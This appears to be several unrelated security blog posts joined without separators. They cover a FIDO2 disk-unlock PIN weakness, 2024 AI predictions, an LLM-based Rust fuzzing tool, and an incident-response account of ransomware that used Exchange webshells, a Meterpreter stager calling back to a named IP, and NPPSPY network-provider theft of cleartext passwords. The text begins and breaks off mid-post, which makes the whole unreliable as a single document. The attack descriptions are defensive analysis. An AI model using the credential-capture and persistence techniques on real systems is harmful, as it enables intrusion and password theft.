0: systemd-fido2
fido2-credential:
1e 51 5b 40 ac cb 0f d0 da e3 eb 5f 20 f9 1c aa
c3 16 f6 3c a4 00 ad ca 21 ab 64 ef e5 a3 03 ac
4b 42 3b a2 a1 21 ff 04 55 14 ab e1 b8 2a 95 99
df d9 be 3c 43 64 db 0d 6c d0 10 00 d7 29 10 1a
ba 8f 87 02 00 00
fido2-salt: bc 34 af d7 bd 50 0b 9a 8a 7f 63 51 a6 fb d3 77
36 34 ce 2a c0 26 e7 bf 49 b3 1b 31 d3 3b 11 46
fido2-rp: io.systemd.cryptsetup
fido2-clientPin-required:
false
fido2-up-required:
true
fido2-uv-required:
false
Keyslot: 1The field fido2-clientPin-required is set to False. And if we try to open our device:
$ sudo cryptsetup open --token-only test.img encrypted
Asking FIDO2 token for authentication.
👆 Please confirm presence on security token to unlock.Surprise! in this case, no PIN code is request but the device is decrypted correctly. This is a security issue as explained before if someone is able to steal you disk and you security key. This behavior is not generalized to all auhtenticators. We have tested a Yubikey having the firmware version 5.1.1 and it turned out that the key would not allow to answer the secret even if the fido2-clientPin-required is set to False.
The previous flaw was rectified in later CTAP versions, starting from CTAP 2.1. These updates introduced a change where the security key generates two distinct secrets during the authenticatorMakeCredential command: CredRandomWithUV and CredRandomWithoutUV. During the command execution, the authenticator determines whether to utilize CredRandomWithUV or CredRandomWithoutUV as the CredRandom for secret generation based on whether user verification was performed in the preceding steps. Let’s observe how a newer security key behaves in practice. We’ve selected a newer YubiKey 5 NFC as our example.
$ python get_info.py
CONNECT: CtapHidDevice('/dev/hidraw5')
Product name: Yubico YubiKey OTP+FIDO+CCID
Serial number: None
CTAPHID protocol version: 2
DEVICE INFO: Info(versions=['U2F_V2', 'FIDO_2_0', 'FIDO_2_1_PRE'], extensions=['credProtect', 'hmac-secret'], aaguid=AAGUID(2fc0578f-8553-48ea-b11f-ba5a8fb9213a), options={'rk': True, 'up': True, 'plat': False, 'clientPin': True, 'credentialMgmtPreview': True}, max_msg_size=1200, pin_uv_protocols=[2, 1], max_creds_in_list=8, max_cred_id_length=128, transports=['nfc', 'usb'], algorithms=[{'alg': -7, 'type': 'public-key'}, {'alg': -8, 'type': 'public-key'}], max_large_blob=None, force_pin_change=False, min_pin_length=4, firmware_version=328707, max_cred_blob_length=None, max_rpids_for_min_pin=0, preferred_platform_uv_attempts=None, uv_modality=None, certifications=None, remaining_disc_creds=None, vendor_prototype_config_commands=None)
WINK sent!The field 'FIDO_2_1_PRE indicates that the authenticator supports partially the CTAP 2.1 protocol. Then, as previously, we enrolled our key to the disk image and we patched the LUKS header with our script and finally, we tried to open the image with cryptsetup:
$ sudo cryptsetup open --token-only test.img encrypted
Asking FIDO2 token for authentication.
👆 Please confirm presence on security token to unlock.
It seems we have the same problem as before. However, the device is not open properly and if we ask cryptsetup to be more verbose we can understand the problem:
$ sudo cryptsetup open --token-only test.img encrypted --debug
Asking FIDO2 token for authentication.
👆 Please confirm presence on security token to unlock.
# Trying to open keyslot 1 with token 0 (type systemd-fido2).
# Trying to open LUKS2 keyslot 1.
# Running keyslot key derivation.
# Reading keyslot area [0x47000].
# Acquiring read lock for device test.img.
# Verifying lock handle for test.img.
# Device test.img READ lock taken.
# Reusing open ro fd on device test.img
# Device test.img READ lock released.
# Verifying key from keyslot 1, digest 0.
# Digest 0 (pbkdf2) verify failed with -1.
# Releasing crypt device test.img context.
# Releasing device-mapper backend.
# Closing read only fd for test.img.
Command failed with code -2 (no permission or bad passphrase).
# Unloading systemd-fido2 token handler.The key slot verification failed and that’s coherent with the usage of the value CredRandomWithoutUV which differs from CredRandomWithUV in CTAP 2.1 and would lead to a different secret generation.
This update is now implemented in the latest solo key firmware but some authenticators may not be upgradable and thus it is better to check the version of CTAP supported by your authenticator before setting up disk encryption.
FIDO2 security keys offer a convenient and secure method for unlocking LUKS encrypted disks. However, it’s crucial to understand the underlying mechanisms and potential pitfalls to ensure optimal protection. To safeguard your data, it’s essential to utilize FIDO2 security keys with the latest CTAP version and ensure proper credential creation procedures, including user verification when applicable.
f you know me, you’ll know I’m not a fan of making tech predictions. It’s just not possible to consider the complexities of the world and the bucket of other unknowns. We also tend to be far more confident in our predictions. Humans, right? However, looking at some current trends leads to some pretty probable predictions. Besides, our marketing department loves predictions, so here is a Hunter S. Thompson style tagline of written under duress.
I want to take a different approach with these predictions than the typical hype-laden AI predictions (guesses) you typically see. I’ve added some context and food for thought with each prediction. I hope this is more enlightening than dropping a few bullet points.
Here is what I believe is in store for 2024.
If you thought ChatGPT was causing your organization problems, it will get worse. In June, I started touching on this topic with my More than ChatGPT: Privacy and Confidentiality in the Age of LLMs post. It’s relatively easy for anyone to copy and paste some Python code and send data to an API. This post was before the announcement of GPTs, Microsoft’s Copilot Studio, and maybe whatever Amazon’s Q is supposed to be. These provide a better interface with more bubble wrapping. There’s no doubt more of these tools are on the horizon from other providers, and the complete reduction of friction is the goal.
The value proposition of these tools is allowing non-developers to use natural language to program new applications and deploy them for themselves or others. I like the spirit of empowering everyone at the company to create tools and solve problems, but there’s a reason we don’t let everyone at the company build and ship code. Non-developers aren’t accustomed to building and deploying software, much less knowing about issues with data and evaluating the output of software built. Even if these applications aren’t deployed outside of an organization (many may not be), they could expose data to compromise, lead to bad business decisions, and possibly put the organization in violation of regulatory compliance. The fact that they may be insecure is almost beside the point; the real problem is that security teams and the organization as a whole won’t know about them in the first place.
Many organizations continue to struggle with their more traditional development security challenges; now, many will have to worry about a new landscape of applications distributed across an organization. Most organization’s processes and approaches are entirely inadequate for what’s on the horizon. Much of this functionality is billed more as Excel on steroids vs. a development team pushing new software, but it’s still early. The time to prepare is now.
We’ve reached a point where just asking questions turns into code execution. Exciting.
The most significant hurdle to Generative AI adoption is the lack of appropriate business use cases. This is according to a November 2023 O’Reilly Radar Report titled Generative AI in the Enterprise. In addition, once you’ve identified a use case, operationalizing and getting it into production is another challenge. Use cases rarely operationalize as easily as the tutorials make it seem, and unexpected pitfalls tank the project.
Solutions often work in small tests, and the real problems don’t present themselves until they get launched into production and are confronted with the complexities of the real world. Before the generative AI craze, it was known that most AI experiments don’t make it into production, but for some reason, people treat generative AI as the exception.
The biggest companies in the world are struggling to operationalize these technologies in their environments, so we should expect this trend to continue to be a challenge into 2024.
Imagine a world where you never know why any files are being accessed, you never know why your data is being sent anywhere, and you never know why code is changing and executing. You haven’t entered the Security Twilight Zone. You’ve entered our very near future. There’s a relentless push by vendors to “AI” everything and drive integration deeper into systems. What we tend to forget is that these technologies are experimental. We haven’t even found all of the issues with them yet and don’t have fixes for all the issues we’ve found, but every day, production pushes them deeper into systems.
Zooming out, there is a change in attack surface as systems that can be manipulated are integrated into previously robust applications. Allowing attackers to exert far greater control over these applications and manipulate them in unexpected ways.
Beyond security, there is a very real danger to privacy. Deep learning approaches are data-hungry, and there’s a temptation to use what you have access to. LLMs are typically worse for privacy because, most often, you need to be able to see the plaintext request and response to evaluate the quality of the generation. This evaluation, in many cases, is done by a human. Even when privacy protections exist in one product, it may not be the case in other product offerings from the company. So, it’s essential to keep an eye on the scope of these in your usage agreements and terms of service.
Impacts on security and privacy remain situational and depend on the use case. But the deeper the integration into products almost assures an elevated impact by the very nature of the depth of the integration. A whole lot of compromises will happen, and data will be lost and many will claim they never saw it coming. 🤷♂️
This prediction may be stretching it for 2024. We are still deep in the hype.
When GPT-5 lands, it won’t be much better than GPT-4 and far from majorly better. With all of the hype and speculation around GPT-5 having near-AGI capabilities, the reality will surely be a letdown to the AI hype machine. We’ve reached a limit with the current LLM approaches, and bigger only buys you so much. So, without some new innovation, we are stuck relatively where we are. It’s possible that tweaks and additional modalities may make GPT-5 more useful for certain tasks, but not in a generalizable way.
I saw this image being passed around if you are looking for a visual aid.
You can get a glimpse of this by looking at the current landscape of the various LLMs that have been released. It seems everyone is releasing an LLM, and none of them are substantially better than any other one. Sure, some may perform better at certain tasks, have additional modalities, or have been trained and fine-tuned differently, but they are all relatively the same.
The dirty little secret of Generative AI is the environmental costs, and it’s getting almost no attention. People railed against the negative environmental impacts of Proof of Work cryptocurrencies (and still are), but the same people are now silent on the environmental impacts of AI. Some of this is partly due to the fact that using these tools abstracts the user from the real costs of their transactions.
The following is from an AP news article covering the topic.
Ren’s team estimates ChatGPT gulps up 500 milliliters of water (close to what’s in a 16-ounce water bottle) every time you ask it a series of between 5 to 50 prompts or questions. The range varies depending on where its servers are located and the season. The estimate includes indirect water usage that the companies don’t measure — such as to cool power plants that supply the data centers with electricity.
This usage can also be particularly impactful when it happens during a drought.
Another new paper, Power Hungry Processing ⚡️Watts ⚡️ Driving the Cost of AI Deployment, also dives into this issue. This paper confirms a couple of assumptions that you may already have.
It’s certainly something to consider before participating in the next AI-generated viral meme trend.
There are other sustainability factors at play as well. As long as there is little transparency and organizations rely on subsidies from big tech companies, the true cost of running these models isn’t known. It’s important for the sustainability of the service to know if you are paying $10 a month for a service that costs the company $30 a month to offer you. This is something Clem Delangue CEO of Hugging Face, calls “cloud money laundering.” This has an impact on organizations looking to deploy Generative AI solutions because the cost to deploy and maintain a service could skyrocket, making it less attractive or infeasible.
In 2024, this topic will start to be part of the public conversation, potentially creating a more precise understanding and additional research about the actual cost of the technology. I don’t expect any significant changes to happen in 2024, but having a better understanding can lead to proposed plans to help offset the impact.
If there is one prediction that I can make with 100% confidence, it’s that the goalposts will move. First was the access to the API; then, it was GPT-4; then, it was multi-modality; and now, it’s GPT-5, which will completely transform the world and be more impactful than the printing press.
It’s useful to remember that technology doesn’t have to be earth-shattering to be useful. We don’t need AGI to solve problems. I mentioned recently that I find my car’s driver assistance and safety features incredibly helpful, despite not having a self-driving car. I think we should be looking at AI technology the same way.
Many people and organizations are doing cool things with the technology today. It doesn’t have to be the new printing press to make an impact. So, stop hyping and start using.
Due to the factors outlined in this post and a variety of other factors, in 2024, we should see the hype around generative AI start to cool as certain realities set in and investors start asking tougher questions. This doesn’t mean AI is dead, far from it. Technologies under the AI umbrella are already part of our daily lives, and there will be continued advancements leading to solved problems.
Ultimately, we should prepare to be surprised. So many people are working in the area there are bound to be surprises. It’s time to start thinking critically about how we look at and deploy AI technology in our environments to ensure the right steps are taken to protect our assets. So, here’s to 2024.
In August 2023, Google published research they did on AI-powered fuzzing. They showed they could automatically improve fuzzing code coverage of C/C++ projects already enrolled in OSS-Fuzz thanks to AI. They found that for 14/31 (or 45%) of the projects on which this research was conducted, generated fuzz targets successfully built.
This research inspired us, and we thought we could expand on this work and bring something new to the table. Previous research started with projects that already did fuzzing. Indeed, all projects enrolled in OSS-Fuzz have at least one existing working fuzz target, and this is what was used in the above research to build prompts. We wanted to go a step further and be able to start fuzzing projects completely from scratch when no working fuzz target examples for the project under test already exist.
To maximize success, we decided to focus on projects written in Rust. Not just because we love Rust. It’s because of the high consistency in project structure usually observed in projects written in that language. Indeed, most projects use Cargo as their build system, and that minimizes fragmentation in the Rust ecosystem. There are many assumptions that can be made about a Rust code base because its easy to know how to build it, where to find unit tests, examples, and its dependencies.
With that into consideration, it was time to build something that would be capable of automatically fuzzing Rust projects from scratch, even if these projects didn’t do any fuzzing at all.
We built Fuzzomatic, an automated fuzz target generator and bug finder for Rust projects, written in Python. Fuzzomatic is capable of generating fuzz targets that successfully build for a Rust project, completely from scratch. Sometimes the target will build but it won’t do anything useful. We detect these cases by evaluating whether the code coverage increases significantly when running the fuzzer. In successful cases, the target is going to do something useful, such as calling a function of the project under test with random input. It will also sometimes automatically find panics in the code base under test. The tool reports whether the generated target successfully builds and whether a bug was found.
Fuzzomatic relies on libFuzzer and cargo-fuzz as a backend. It also uses a variety of approaches that combine AI and deterministic techniques to achieve its goal.
We used the OpenAI API to generate and fix fuzz targets in our approaches. We mostly used the gpt-3.5-turbo and gpt-3.5-turbo-16k models. The latter is used as a fallback when our prompts are longer than what the former supports.
The output of the first step is a source code file: a fuzz target. A libFuzzer fuzz target in Rust looks like this:
#![no_main]
extern crate libfuzzer_sys;
use mylib_under_test::MyModule;
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
// fuzzed code goes here
if let Ok(input) = std::str::from_utf8(data) {
MyModule::target_function(input);
}
});This fuzz target needs to be compiled into an executable. As you can see, this program depends on libFuzzer and also depends on the library under test, here “mylib_under_test”. The “fuzz_target!” macro makes it easy for us to just write what needs to be called, provided that we receive a byte slice, the “data” variable in the above example. Here we convert these bytes to a UTF-8 string and call our target function and pass that string as an argument. LibFuzzer takes care of calling our fuzz target repeatedly with random bytes. It measures the code coverage to assess whether the random input helps cover more code. We say it’s coverage-guided fuzzing.
Once we have generated a fuzz target, we try to compile it. If it compiles successfully, that’s great, and we run the compiled executable for a maximum of 10 seconds. We capture the standard output (stdout) of the fuzz target and evaluate whether code coverage changes significantly. If that’s the case, we can be quite confident that the fuzz target is doing something useful. We say that the target is “useful” in that case. Indeed, if we generate an empty fuzz target or one that calls a function with a constant or that doesn’t use the random input at all, the code coverage shouldn’t vary too much. This may not be 100% accurate, but we found that it’s a good enough metric.
We also detect when the fuzzer crashes. When that happens, we have a look at the stack trace in the standard output and see whether the crash happened in the fuzz target itself or in the code base under test. If it’s in the code base under test, then we likely found a bug.
If the fuzz target does not build, we feed the compilation errors and the fuzz target to the LLM and ask it to fix the code without modifying its behavior. Applying this technique multiple times usually results in a fuzz target that successfully builds. If not, we move on to the next approach.
To minimize the LLM costs, we turn off compilation warnings and only get errors because warnings do not really help fix the errors and are quite verbose. In addition, the longer the compilation error, the more tokens they would turn into, and the more we would have to pay. Indeed, OpenAI charges per token processed.
At first, the most common compilation error was because of incorrect or missing dependencies. Indeed, the LLM may generate a code snippet that imports a module from the library under test, but this import statement may be incorrect. Alternatively, some import statements may be missing. To minimize dependency issues and reduce the amount of LLM calls, we do two things:
Even with this, we still had compilation errors due to incorrect imports. We significantly reduced that kind of error rate by adding a new approach: the “functions” approach. But first, let’s see what those approaches are.
The approaches we attempt include:
The approaches are attempted one by one, until one works and gives us a useful fuzz target.
This approach is pretty simple. If there’s a README file in the code base, we read its contents and use it to build a prompt for the LLM. In that prompt, we ask the LLM to generate a fuzz target, given the README file.
This approach clearly doesn’t work if the README file only contains installation instructions, for example. If it contains example code snippets that show how to use the library under test, then it is likely to work.
We’ve seen projects where the README contains code snippets that contain errors. For example, one project had not updated the README file in a long time, and it went out of sync with the actual code base. Therefore, the code snippet in the README file would not build. In such cases, this approach may not work either.
The examples approach is similar to the README approach. The only difference is that we use the Rust files in the “examples” directory instead of the README file. The benchmark approach is essentially the same thing, except that it uses the Rust files in the “benches” directory.
We use semgrep to identify pieces of code that have a “#[test]” attribute and feed them to the LLM. We also try to capture the imports and potential side functions that may be defined next to a unit test. We arbitrarily limit this approach to try at most 3 unit tests and not all of them to keep the execution time to reasonable levels. The unit tests that are the shortest are used first to minimize AI costs.
We first obtain a list of all the public functions in the code base under test. This is achieved by running “cargo rustdoc” and asking it to output to JSON format. This is an unstable feature and requires passing some arguments to “rustdoc” to make it work. However, this is a really powerful feature because it gives information straight from the compiler, which would have been much more difficult to accurately obtain with static analysis. We can then parse the generated JSON file and extract all the public functions and their arguments, including their type. In addition to that, we also get the path to the identified function. For example, if we have a library named “mylib” that contains a module named “mymod”, which contains a function “func”, its path would be “mylib::mymod::func”. Rustdoc uses the compiler’s internal representation of the program to obtain accurate information about where each function is located and this is always correct. With this information, we can kiss the import errors we previously had goodbye.
Getting the import path right is one thing, but that won’t produce a useful fuzz target on its own. To get closer to that, we give a score to each function based on the type of arguments it takes, the number of arguments it takes, and the name of the function itself. For example, a function that contains “parse” in its name may be a good target to fuzz. Also, a function that only takes a byte array as input looks like something that would be easy to call automatically. We select the top 8 functions based on their score, and for each of these functions, we try generating a fuzz target that calls that function using a template. If the build fails, we fall back to asking the LLM to fix it.
Another challenge is to convert the random input bytes into the appropriate type the function takes as an argument. This can become even more complicated when a function has multiple arguments of different types.
In that case, we leverage the Arbitrary crate to split those bytes and automatically convert them into the required types the function takes as arguments. This way, we support any combination of arguments of a supported type.
This approach works surprisingly well and is able to produce useful targets most of the time, as long as there is at least one public function with arguments of a supported type.
We ran Fuzzomatic on the top 50 most starred GitHub projects written in Rust that matched the search terms “parser library.” We detected six projects that were already doing some sort of fuzzing and 1 project that was not a Cargo project, so we skipped those. There were also 6 projects that did not build, so these were discarded as well. This left us with 37 projects that were candidates for being processed.
Out of those 37 projects, no approach worked for 2 projects. At least one fuzz target that was compiled successfully was generated for each of the other 35 projects. That’s a 95% success rate.
For only one project, no useful fuzz target was generated. But for 34/37 projects, at least one useful fuzz target was generated. That’s a 92% success rate. We also found at least one bug in 14 projects or 38% of those projects.
The whole process took less than 12 hours. On average, it took 18 minutes to process a project where at least one successful fuzz target was generated. But we’ve seen some take just over two minutes and others take as long as 57 minutes. These numbers cover the whole process, including compilation time.
Considering projects where bugs were found, the “functions” approach was the most successful: 77% of fuzz targets that found a bug were generated using that approach. Next, the README approach worked for 12% of those targets. The examples approach worked for 8% of targets thanks to which bugs were found. Finally, the benchmarks approach worked for 4% of those targets.
When we look at useful generated fuzz targets, the “functions” approach is still the most efficient with 62% of targets generated with that approach. It is followed by the examples approach (13% of useful targets), the unit tests approach (12%), the README approach (10%) and finally the benchmarks approach with 1% of useful targets.
The OpenAI API costs summed up to 2.90 USD, which is quite cheap considering this ran on 50 projects. Usually, it only costs a few cents to run Fuzzomatic on a project.
What kind of bugs did we find? Those 14 bugs were composed of:
Most of the bugs we found were making the software under test crash. But, under some different conditions, this may not be true, depending on how the project is built. Indeed, integer overflows are not checked by default when a Rust program is compiled in release mode. In that scenario, the program would not crash, and may silently produce unexpected behavior that may cause a vulnerability.
We’ve shown that this is possible and worked in most cases, but that’s clearly not the case for every code base out there. Here are some requirements:
If a single top-level item in that list is not fulfilled, then this will likely not succeed.
The results we obtained show that for parser libraries, Fuzzomatic was pretty effective. This strategy can find low-hanging fruit automatically when the right conditions are present, but it won’t be as effective as manually writing a fuzz target with in-depth knowledge of the target code base. However, when it does succeed in finding a bug, it usually does so much faster than it would have taken to get familiar with the code base and manually write a fuzz target for it.
Even if the generated fuzz target does not build, it may still be used as a starting point for manually writing a good fuzz target. Maybe automatically producing a fuzz target that builds did not work, but the fix may be obvious to a person reviewing the generated code. Being able to start from that and not entirely from scratch may save developers a lot of time. Automatically generating a draft fuzz target, which potentially has an import issue but that already calls an interesting function, adds some value, and saves time.
Sometimes, bugs are found, but they may not be exploitable. Even if the bugs found are not directly exploitable, that result in itself provides useful information. Indeed, if some bugs can be found automatically in a code base, it is likely that there is more to be found in that code base, and it opens the path for a more in-depth review of that code base. Also, the bug may not cause any security issues at all, but it’s still nice to fix it anyway.
Fuzzomatic can be used as a defensive measure to protect one’s own open source project. It’s very easy to run. There are only a few requirements that must be respected.
Fuzzomatic focuses on projects written in Rust, so it is required that the target code base is written in that language.
The project must build successfully when running “cargo build”. A project that does not build cannot be fuzzed. This is probably the most important requirement. There are tons of GitHub projects that simply do not build out there.
Functions in your code base should be designed to be tested. One common pitfall we’ve seen in many libraries is exposing a function that takes a path to a file as an argument but not exposing any function that takes the contents of a file directly, for example, as a string or as a byte array. This is an anti-pattern that needs to stop. When designing a library, make sure that your functions are easy to test. This way, automated fuzzing will be much more effective.
Finally, any external non-Rust dependency should already be installed on the system where Fuzzomatic will run. Fuzzomatic currently doesn’t support installing non-Rust dependencies and won’t do it automatically.
To achieve its goal, Fuzzomatic may run untrusted code, so make sure to always run it in an isolated environment. Indeed, it will build untrusted projects. Building untrusted code is a security concern because we never know what’s inside the build script.
Fuzzomatic will also run arbitrary code output by an LLM. Imagine what would happen if, for example, the README file of a project contained malicious instructions, fuzzomatic built a prompt with it and called the LLM. The LLM may respond with a malicious code snippet that would be built and run.
Also, if Fuzzomatic is run against an unknown code base, there is no way to know what the functions that will be called will do. An unknown function may very well delete files or perform other destructive operations.
Therefore, always make sure to run Fuzzomatic in an isolated environment.
Fuzzomatic can run in your CI/CD pipeline. It can also be used once to bootstrap fuzzing for projects that don’t do any fuzzing at all. It saves time and can identify which functions of your codebase should be called and will write the fuzz target for you. In some cases, it will even find runtime bugs in your code, such as panics or overflows.
Fuzzomatic can also be set to run on a large number of projects, hoping to find bugs automatically through fuzzing. We’ve shown that this approach works and found 14 bugs out of 50 parser libraries.
If sending parts of the source code to OpenAI is a problem, fear not. There are plenty of alternatives. We’ve seen that the Mistral 7B instruct model also works, and it can be hosted locally. With tools like LM Studio, a local inference server can be set up in just a few clicks. Then, since that server is API compatible with OpenAI, it’s as easy as setting the OPENAI_API_BASE environment variable to http://localhost:1234/v1, and then Fuzzomatic can run using the model of your choice on your own server. Your code remains private.
There are other approaches we didn’t try or implement. One example is to extract code snippets that are inside docstrings. Many projects include code examples inside multi-line comments that document modules or functions. These examples could be fed to the LLM to generate a fuzz target.
Even though the Rust ecosystem guarantees some structure in most projects, that structure can quickly become complex. Fuzzomatic does support quite a bit of Cargo’s features and is capable of handling Cargo workspace projects with multiple workspace member crates for example. However, we haven’t tried to support all Cargo features, such as [build-dependencies], [patch.crates-io] or target-specific dependencies, to name a few, and there are still projects where Fuzzomatic may fail because of this.
External non-Rust dependencies are a problem and are one of the reasons why some projects would not build by default. Automatically installing these would help with automated fuzzing from scratch.
The default branch of a repository may not always be in a building state. Another strategy may be to check out the latest tag or release and target that instead of the latest commit.
Optimizations regarding costs and benefits when using commercial LLMs may be implemented. For example, retrying with a larger model (such as GPT-4) when all other approaches fail. This way, we first try a cost-effective approach, and then use a more expensive one as a last resort. This could be an option to avoid exceeding budgets quickly.
Sometimes, the LLM enters a code fix loop where it suggests the same fix over and over again which doesn’t help in making the fuzz target compile at all. Detecting these cases and failing fast would reduce costs and runtime.
Unit tests sometimes contain test vectors that could be used to automatically generate a seed corpus. So far, we haven’t used a seed corpus at all. Doing so may significantly speed up the discovery of bugs while the fuzzer runs.
Some bugs may not be found because the fuzzer didn’t run for long enough. Currently, Fuzzomatic runs fuzzers for 10 seconds only. An improvement may be to do a 2nd pass on useful fuzz targets and re-run them for a longer time, hoping to find more bugs.
Adding support for more function argument types would help improve Fuzzomatic’s functions approach effectiveness. Support for functions using generic types and more primitive types, for example. Also, being able to generate fuzz targets that instantiate structs and call struct methods would help cover more ground of a code base.
To help as many developers as possible improve the security of their code, it would be even better to support other programming languages, such as C/C++, Java, Python and Go.
We’ve shown that it is possible to generate fuzz targets that successfully build completely from scratch and that do something useful for Cargo-based projects. We’ve even found crashes in code bases completely automatically with this technique.
For security reasons, make sure to always run Fuzzomatic in an isolated environment.
Fuzzomatic is open source and available on Github here. We hope that open-sourcing this tool will help projects find bugs in their own code and improve their overall security posture. We also hope to contribute to automated fuzzing research by sharing what we learned along the way while performing this experiment.
In this installment of Tales from the Incident Response Cliff Face, we’ll take a look at a recent engagement, which involved a string of events that spanned several months.
The focus: ransomware with assisted initial access.
An initial attacker broke into the victim’s environment, established a foothold throughout, and then advertised it for sale on the dark net.
The victim, however, was an NGO that cared for the most vulnerable. For some reason – perhaps the weak financial incentive, perhaps a sense of morals – the access rights to the victim’s environment sat on the marketplace for a full eight months before they were eventually purchased by a second attacker.
In this report, we will elaborate on how the unprepared victim was set up for this ransomware event and, as usual, share some insights to help you avoid being caught in the same trap.
In a nutshell, we will cover:
Our engagement started nearly two weeks after the ransomware detonation. While the client, fortunately, managed to leverage spare backups to perform restoration and avoid business disruption, it did mean that their intervention contaminated the crime scene and that full visibility into the cyber kill chain would be impossible.
Initial triage of forensic collections revealed that the on-premise Exchange server played a central role in the threat actor’s operation by being the source of the RDP internal lateral movement.
To make matters worse, the lack of patching since 2021 coupled with exposure to the internet, would have almost certainly meant that it had already been hit by the Proxysomethingwave.
This hunch was quickly confirmed to be correct. While the usual logs to hunt for this family of Exchange CVEs have only been available since mid-August 2023 and did not show any traces of exploitation, we did manage to find two webshells on disk. I could not determine the previously installed version of Exchange and therefore can’t say with confidence which of these were exploited:
However, working on the assumption that this was a known CVE, it was safe to assume that it must have been one of these.
The two webshells were lightly obfuscated to avoid static disk detection but remained simple (as shown by Figures 1-4, below). They would execute whatever was in the cadataKey request parameter and then either force a 404 or redirect to another page.
My assumption is that this was a way to make it harder for Blue Team operators to identify webshell interactions and reduce the risk of being discovered by their usual technique of using the filter on aspxcoupled with a 200-return code.
The timestamps on these two files indicate that they were created back in December 2022. Furthermore, as shown in Figures 5, I discovered that a file had been created a couple of seconds before the first webshell.
This file masked as the ApacheBench command line utility but proved quickly to be a Meterpreter stager. The Meterpreter stager is built on a template executable, which allows the malicious shellcode to be injected into the .text section.
This stager then communicates to 103.112.232.44:443 to get the rest of the Meterpreter payload. In our investigation, however, it became evident that it was not the only payload to have reached out (see Figure 6). Behind that particular IP, was a compromised Exchange server that was used to compromise other vulnerable Exchange servers.
This is a classic case of launching an attack from another victim – so the hackers can hide their identity.
The forensic analysis revealed that NoEscape managed to perform lateral movement via RDP with the domain admin account. After confirming that the latter was not performed in restricted admin mode, which would require the NT Hash only, the usual question was on the table once again: How did the attacker obtain the clear text password?
A fair guess would be that the attacker got hold of it by exploiting the previously mentioned CVEs that give local system privileges on the Exchange server. If, as was the case here, a decent AV/EDR solution was missing, dumping credentials from the LSASS process would become child’s play and provide easy access to the domain admins credentials, which would likely be cached on the Exchange server.
But a fair guess, in this case, is not a correct guess!
In this case, the LSASS did not contain cleartext credentials since WDigest was not enabled. Furthermore, the NTLM hash would not have been easily cracked either since the customer confirmed he was using complex 18-character passwords. Finally, the password did not appear to be stored in common credential stores nor in simple text or script files.
Suddenly, answering how the attacker achieved this privilege escalation became really interesting. To find answers, we had to go back to the textbooks.
What we know about cleartext passwords is that their lifetime in modern systems is short. A cleartext password only exists when it is being acquired, but as soon the credential needs to be validated (be it locally or remotely), the password is hashed and the cleartext form is basically lost for good. This means that it’s only possible to obtain the cleartext form in a small number of other ways. The most basic involves listening to the interactive logon process. This is what keyloggers do (as their name suggests) by collecting keystrokes. More refined techniques specifically target the Windows interactive logon process. A famously documented technique involves Windows Authentication Providers, which comprise two groups: Security Support Providers and Network Providers. We will focus on the latter in our tale.
If you are curious to know more about Security support providers and the different techniques for stealing cleartext credentials, read more here:
https://www.scip.ch/en/?labs.20220217
The technique to steal cleartext credentials by abusing Network Providers has a 2020 implementation under the name NPPSPY
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy (I also found descriptions of the technique dating back to the early 2000s)
https://www.giac.org/paper/gcih/117/microsoft-network-provider-exploit/101145
TLDR: A neat visual explains how the technique works. The dll needs to be “recorded” in the registry for it to be called, by declaring a network provider.
The documented steps of the technique would mean that the attacker would have had to make some changes in the registry, so this gave us a lead to test the NPPSPY hypothesis. When we queried the registry for traces of the exploit, we found a new network provider had been introduced (see Figure 7).
As shown in Figure 7, we found from our investigation that the ntoskrnl.dll had been maliciously placed in the system32 folder (Windows does not use ntoskrnl.dll, only ntoskrnl.exe) and a dummy network provider named credman had been created, which pointed to the dll. Interesting to note, the last WriteTime of the registry was on February 28th, 2023.
Given that this technique requires admin privileges that allow a user to make changes in the registry (something the exploitation of the Exchange vulnerabilities can grant) we made the link between the two exploitation events.
In fact, malicious .NET compilation artefacts around the same time as the registry modification led us to believe that the exchange vulnerability may have been exploited multiple times.
The next step was to analyze the malicious dll (ntoskrnl.dll) to determine where it had stored the looted files. Existing threat intelligence on this dll gave us this information (Figure 8).
Most importantly, we can see that it generated the following file “C:\ProgramData\Package Cache\Windows10.0-KB5009543-x64.msu”. A quick inspection of the file’s content in the compromised server revealed the stolen passwords in cleartext:
A lot of what we do on the investigation front is driven by our intuition. Our hunches. We explore these and see if they deliver fruit. So, what was supposed to be a simple confirmation of the NPPSPY technique with some admin users’ passwords sparked my curiosity: There were a lot of accounts in the file, far more than you’d normally expect to see in a usual exchange server (which should be solely admin users). It seemed that every regular domain user had their credentials stored here. The idea that they had all interactively logged onto it would be totally implausible.
Or so we thought…
Going from ‘How was it possible for the attacker to find the cleartext password?’ we moved onto the question ‘Why were so many regular domain user credentials on the Exchange server?’
We suspected that the scope of the technique covered in the documentation could – in certain conditions – be widely extended. The intuitive explanation was that somehow, it must have captured mailbox-related authentications. Looking up NPPSPY in conjunction with Exchange Server I found only one blog post that gave me the information I needed:
This post suggests that using NPPSPY on an Exchange server would swoop all mail-related authentications. Interesting as this may be, the blog post didn’t cover why, how, or under what conditions.
This left me on the hunt for further validation, so I proceeded to reproduce it in my lab against a fresh default installation of Exchange Server 2019.
My approach was to interactively login using different ways (OWA, ECP, Powershell, etc.) and see which login attempts would interact with the loot file, thus suggesting credential theft.
For example, when logging in via OWA, I get the following hit (see Figure 10).
Figure 11 shows that the initiating process was the Microsoft Exchange Outlook WebApp (OWA). Based on what I found, I checked the stack trace (Figure 12).
The stack trace confirmed that OWA authentication went through the Malicious Network Provider and called the NPLogonNotify API for loot.dll.
Interestingly, the stack trace showed also that authbas.dll was involved. As shown in figure 13 below, this proves that this dll was responsible for the IIS BasicAuthenticationModule
As soon as I realized this, the fog cleared and it all became crystal clear.
The authentication process had proceeded by invoking LogonUserExW (see Figure 46.). This literally behaved as if authentication was being made to a local computer, just as we would expect to see from the documentation of NPPSPY with Interactive/Remote Interactive Logons.
After this step,Mpr.dll was then called. By way of reminder, Mpr.dll stands for the Multiple Router Provider that handles communication with the installed network providers. Mpr.dll checks the registry to determine which providers are registered and then goes through them, one by one.
So just as we thought, our malicious network provider was called and our dll was triggered via the exported NPLogonNotify. The credentials were then passed down to it and ended up in the text file as indicated by the call to WriteFile (Figure 11, above). Note that the functionality of NPLogonNotify is arbitrarily set by the attacker. In this case, the attacker deemed it sufficient just to write credentials to a text file, but they could have done something more complex, e.g., send the credentials over the network, which would have removed any trace on the disk.
Thus, we were able to confirm that the threat actor did abuse IIS Basic authentication with the NPPSPY technique to place himself into every Exchange web authentication.
